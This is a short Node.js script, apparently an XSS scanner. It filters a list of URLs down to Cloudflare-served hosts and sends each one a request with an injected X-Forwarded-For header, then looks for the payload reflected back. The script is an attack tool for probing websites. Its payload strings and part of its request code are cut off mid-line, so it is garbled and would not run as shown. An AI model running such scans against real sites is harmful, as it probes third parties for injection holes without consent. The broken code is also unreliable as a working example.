const axios = require('axios');
var fs = require('fs');
// npm install axios
// to run it: node file.js file.txt
// Target server's name may be different from cloudflare
// Which means we can miss some vulnerabilities
const array = fs.readFileSync('file.txt', 'utf8').split('\n');
const cloudflare = []
const checkServerName = (servername,main) => {
if(servername == 'cloudflare' || servername == 'CLOUDFLARE' || servername == 'Cloudflare'){
cloudflare.push(main)
}
}
const firstOne = () => {
for(i in array){
axios.get(array[i]).then(re => {
checkServerName(re.headers.server, re.config.url)
}).catch(err => {
console.log(`error occured`)
})
}
}
firstOne()
setTimeout(() => {
send()
}, 2000);
const checkReflection = (rdata,url) => {
if(rdata.includes("
")){
console.log(`XSS found on ${url}`)
}
}
function send(){
for(let i=0; i < cloudflare.length; i++){
axios.get(cloudflare[i], {headers: {"x-forwarded-for":"'>
{
if(resp.status === 200){
console.log(`Possible vuln: ${resp.config.url.split("https://")}`);
}
checkReflection(resp.data,resp.config.url)
}).catch(e => {
if(e){
console.log(`Forbidden header => ${cloudflare[i]}`)
}
})
}
}